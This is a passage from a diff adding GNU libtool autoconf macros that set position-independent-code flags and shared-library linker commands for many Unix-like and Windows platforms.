_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC (with -KPIC) is the default. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + newsos6) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + ccc*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All Alpha code is PIC. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All OSF/1 code is PIC. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + sco3.2v5*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kpic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-dn' + ;; + + solaris*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sunos4*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + + uts4*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + *) + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +]) +AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)]) + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then + AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) works], + _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1), + [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])], [], + [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in + "" | " "*) ;; + *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)" ;; + esac], + [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no]) +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])" + ;; +esac +]) + + +# AC_LIBTOOL_PROG_LD_SHLIBS([TAGNAME]) +# ------------------------------------ +# See if the linker supports building shared libraries. +AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS], +[AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) +ifelse([$1],[CXX],[ + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + case $host_os in + aix4* | aix5*) + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + else + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + fi + ;; + pw32*) + _LT_AC_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds" + ;; + cygwin* | mingw*) + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols' + ;; + *) + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + ;; + esac +],[ + runpath_var= + _LT_AC_TAGVAR(allow_undefined_flag, $1)= + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no + _LT_AC_TAGVAR(archive_cmds, $1)= + _LT_AC_TAGVAR(archive_expsym_cmds, $1)= + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)= + _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)= + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)= + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + _LT_AC_TAGVAR(thread_safe_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_minus_L, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(link_all_deplibs, $1)=unknown + _LT_AC_TAGVAR(hardcode_automatic, $1)=no + _LT_AC_TAGVAR(module_cmds, $1)= + _LT_AC_TAGVAR(module_expsym_cmds, $1)= + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + _LT_AC_TAGVAR(include_expsyms, $1)= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + _LT_AC_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + _LT_AC_TAGVAR(ld_shlibs, $1)=no + cat <&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + + # Samuel A. Falvo II reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + _LT_AC_TAGVAR(ld_shlibs, $1)=no + cat <&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + sunos4*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + linux*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_cmds, $1)="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ [01].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="$tmp_archive_cmds" + fi + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + + if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = yes; then + runpath_var=LD_RUN_PATH + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + else + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_AC_TAGVAR(archive_cmds, $1)='' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GCC" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + else + # We have old collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok' + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' + _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + # Exported symbols can be pulled into shared objects from archives + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=' ' + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + # This is similar to how AIX traditionally builds it's shared libraries. + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + # see comment about different semantics on the GNU ld section + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + bsdi[[45]]*) + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='true' + # FIXME: Should let the user specify the lib program. + _LT_AC_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_automatic, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + _LT_AC_TAGVAR(ld_shlibs, 